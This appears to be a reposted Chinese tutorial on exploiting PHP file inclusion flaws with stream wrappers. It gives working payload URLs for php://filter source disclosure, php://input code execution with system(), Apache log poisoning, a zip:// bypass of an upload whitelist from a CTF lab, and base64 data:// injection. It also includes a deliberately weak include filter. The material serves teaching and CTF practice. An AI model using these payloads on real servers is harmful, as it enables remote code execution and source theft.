首頁  >  文章  >  後端開發  >  一起來分析文件包含及PHP偽協議利用

一起來分析文件包含及PHP偽協議利用

WBOY
WBOY轉載
2022-05-04 09:00:202428瀏覽

本篇文章為大家帶來了關於PHP的相關問題,其中主要介紹了關於文件包含和PHP偽協議的相關內容,文件包含漏洞是「程式碼注入」的一種,下面一起來看一下,希望對大家有幫助。

一起來分析文件包含及PHP偽協議利用

推薦學習:《PHP影片教學

檔案包含

檔案包含漏洞是「程式碼注入」的一種。其原理就是注入一段使用者能控制的腳本或程式碼,並讓服務端執行。 「程式碼注入」的典型代表就是檔案包含。

要成功利用檔案包含漏洞進行攻擊,需要滿足以下兩個條件:

  • Web應用程式採用include()等檔案包含函數透過動態變數的方式引入需要包含的檔案;

  • 使用者能夠控制該動態變數。

常見的導致檔案包含的函數:
PHP:include()、include_once()、require()、require_once()等;
1.php檔案包含可以直接執行包含檔案的程式碼,包含的檔案格式不受任何限制
在php 中提供了四個檔案包含函數:
(1) Require: 找不到被包含的檔案時會產生致命錯誤(E_COMPILE_ERROR),並停止腳本;
(2) Include:找不到被包含的檔案時只會產生一個(E_warinng),腳本將繼續執行;
(3) Require_once:與include 類似會產生警告,差異是如果檔案程式碼已經被包含,則不會再次被包含;

PHP偽協定

#php偽協議,事實上是其支援的協定與封裝協定。而其支援的協定有:

file:// — 访问本地文件系统

php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流

一起來分析文件包含及PHP偽協議利用

all_url_include在php 5.2以後加入,安全方便的設定(php的預設設定)為:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (允許開啟URL檔案,預設啟用)
allow_url_fopen = Off (禁止開啟URL檔案)
allow_url_include = Off (禁止引用URL檔案,新版增加功能,預設關閉)
allow_url_include = On (允許引用URL檔案,新版增加功能)

file協議

file:// 檔案系統是PHP 使用的預設封裝協議,展現了本機檔案系統。

使用file://協定去包含本機的phpinfo.php

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php

一起來分析文件包含及PHP偽協議利用

PHP協定

php :// 存取各個輸入/輸出流(I/O streams),在CTF中常用的是php://filter和php://input
php://filter用來讀取原始碼:
php://input用來執行php程式碼。

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php

php://filter讀取php檔案時候需要base64編碼
一起來分析文件包含及PHP偽協議利用
php://input

  1. allow_url_include = On

#php://input [POST DATA]執行php程式碼
需要***allow_url_include = On***

http://localhost/www/lfi.php?file=php://input

POST	<?system (&#39;ipconfig&#39;)?>

一起來分析文件包含及PHP偽協議利用

  1. allow_url_include = Off

不過一般大部分情況下,allow_url_include 為預設關閉狀態,
就不能包含POST資料了,這種情況下可以包含apache日誌或錯誤日誌記錄

#首先需要fuzz大法,爆破出日誌的路徑,

為了測試方便,我先將日誌的內容清空,方便演示

#訪問該網址,透過報錯將程式碼寫入日誌中
注意:這裡要使用burp抓包去訪問,不然程式碼會被url編碼寫入日誌,就不能執行了
也可以將程式碼寫入user-agent

http://localhost/www/lfi.php?file=<?php  phpinfo();?>

一起來分析文件包含及PHP偽協議利用

一起來分析文件包含及PHP偽協議利用
我的日誌路徑是:
F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

#使用file://偽協定去讀取日誌,發現phpinfo被成功執行了

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

一起來分析文件包含及PHP偽協議利用

#zip://協定

# ** zip:// & bzip2:// & zlib:// **皆屬於壓縮流,可以存取壓縮檔案中的子文件,更重要的是不需要指定後綴名,可修改為任意後綴:jpg png gif xxx等等。

這裡分析一個檔案上傳和檔案包含結合的CTF案例######先分析檔案上傳的原始程式碼###

file:
 

分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。

分析文件包含的源代码

Tips: the parameter is file! :) <!-- upload.php --><?php     @$file = $_GET["file"];
    echo $file;
    if(isset($file))
    {
        if (preg_match(&#39;/http|data|ftp|input|%00/i&#39;, $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }?>

分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。

综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。

在文件上传时候将后缀名zip修改为png的后缀名,

test.php中写入木马

<?phpphpinfo ();?>

如下图所示
一起來分析文件包含及PHP偽協議利用

一起來分析文件包含及PHP偽協議利用

图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

一起來分析文件包含及PHP偽協議利用

data://

条件:

allow_url_fopen:on
allow_url_include :on

访问网址

http://localhost/www/lfi.php?file=data://text/plain,<?php  phpinfo();?>

也可以使用base64编码,防止代码被过滤掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
一起來分析文件包含及PHP偽協議利用

推荐学习:《PHP视频教程

以上是一起來分析文件包含及PHP偽協議利用的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:csdn.net。如有侵權,請聯絡admin@php.cn刪除